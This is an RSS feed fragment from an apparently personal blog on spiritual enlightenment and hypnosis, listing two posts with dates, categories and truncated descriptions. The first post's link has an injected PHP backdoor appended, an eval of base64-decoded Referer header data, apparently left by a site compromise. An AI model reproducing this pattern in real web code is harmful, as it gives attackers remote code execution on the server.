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	<title> &#187; Spiritual Enlightenment</title>
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		<title>Are You Your Thinking Mind?</title>
		<link>http://bogcopper.com/2009/07/08/are-you-your-thinking-mind/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Wed, 08 Jul 2009 15:52:41 +0000</pubDate>
		<dc:creator>RussM</dc:creator>
				<category><![CDATA[Consciousness]]></category>
		<category><![CDATA[Spiritual Enlightenment]]></category>
		<category><![CDATA[Transformation/Change]]></category>
		<category><![CDATA[Change]]></category>
		<category><![CDATA[Transformation]]></category>

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		<description><![CDATA[This is an exercise to help you explore whether you are your thinking mind, as many assume, or pure conscious awareness.  First the exercise, then some thoughts. Begin by closing your eyes and taking 3-4 deep breaths.  As you breathe, inhale through your nose, filling your lungs up all the way, hold your breath for [...]


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		<title>Getting Started</title>
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		<pubDate>Wed, 04 Jun 2008 21:11:03 +0000</pubDate>
		<dc:creator>RussM</dc:creator>
				<category><![CDATA[Energy alignment]]></category>
		<category><![CDATA[Hypnosis]]></category>
		<category><![CDATA[Spiritual Enlightenment]]></category>
		<category><![CDATA[Transformation/Change]]></category>
		<category><![CDATA[Change]]></category>
		<category><![CDATA[Transformation]]></category>

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		<description><![CDATA[Just a note to get started. This website will be exploring spiritual enlightenment, alchemy, and transformation, and the most effective ways to create change within ourselves. As a hypnotist, obviously, I&#8217;ll be talking about hypnosis as a tool for self-change, and I&#8217;ll also be exploring different forms of energy alignment. At first, I&#8217;ll offer a [...]


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